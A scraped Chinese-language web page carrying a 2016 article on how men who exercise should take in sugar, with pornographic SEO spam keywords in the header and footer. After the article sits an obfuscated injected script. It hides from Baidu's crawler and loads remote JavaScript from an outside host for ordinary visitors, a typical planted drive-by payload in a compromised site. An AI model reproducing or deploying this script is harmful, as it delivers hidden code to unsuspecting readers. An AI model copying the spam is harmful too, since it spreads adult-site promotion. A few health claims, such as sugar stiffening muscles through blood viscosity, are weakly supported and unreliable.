久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

男性健身如何補充糖分 吃糖嗎?

2016-06-13 11:47:22  來源:360常識網   熱度:
導語:有些健身者、運動員認為糖對提高運動能力有好處,就一味的大量攝取糖類食物、食品,想以大量補充糖分來提高運動能力及成績。

如此補充糖分是沒有用的,而且還會造成副作用的產生。

一、另外攝取過多的糖分會使得血液中的甘油(油食品)三酯升高,導致心血管疾病的誘因。

二、攝取過多的糖會影響鈣(鈣食品)質的吸收,相對的減少對其他營養成份的攝取,進而造成營養不良。

三、如果在短期內大量攝取糖分,糖分進入了血液中,使血糖(血糖食品)過高,因為糖分的滲透效應使水份從胃壁進入腔內進行了稀釋,進而影響了胃的排空,進而引起腹部不舒服、頭暈、惡心等不適的感覺。

四、另外攝取了過多的糖分使血液粘滯度及循環量增多,會影響心臟的功能,進而使得肌肉變得僵硬,這對于健身、運動是極為不利的。

五、過多的糖易導致發胖,因過多的糖分在體內會轉變為脂肪。

我們怎么來補充糖分呢?

健身、運動員在一般的訓練中,并不需要額外的補充糖分,在三餐主食中的淀粉就已經足夠了,不過在耐力性運動項目中(長跑、馬拉松等等)由于糖分的消耗比較大,為了加速疲勞的消失,適量的額外補充糖分是需要的。

在糖分的補充量方面:一公斤的體重不超過二公克的糖,以每公斤體重一克的糖為適量,并且以少量多次為宜。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 成年免费视频 | 久久久精品网 | 欧美精品成人 | 你懂的在线网址 | 日韩手机专区 | 成人精品在线观看 | 亚洲黄色大片网站 | 免费毛片在线播放 | 在线欧美亚洲 | 91免费看 | 精品三区在线观看 | 精品一区电影国产 | 大片黄网站 | 国产三区在线成人av | 国产精品无码专区在线观看 | 国产suv精品一区二区33 | 亚洲成人精品在线观看 | 国产精品久久 | 丝袜+亚洲+另类+欧美+变态 | 日本精品区| 麻豆免费短视频 | 免费黄在线看 | 亚洲成人一区二区三区 | 一区二区三区日韩 | 成人av电影免费在线观看 | 国产精品一区二区在线看 | 欧美一级大片免费 | 国产亚洲精品精品国产亚洲综合 | 荡女妇边被c边呻吟视频 | 免费欧美日韩 | 亚洲人成网亚洲欧洲无码 | 国产黄av| 日韩中文字幕在线观看 | 欧美日韩精品一区二区 | 在线色网 | 九九热这里有精品 | 亚洲欧洲视频在线 | 成人在线视频一区二区 | 欧美一区二区在线观看 | 国产伦精品一区二区三区视频网站 | 日韩国产一区 |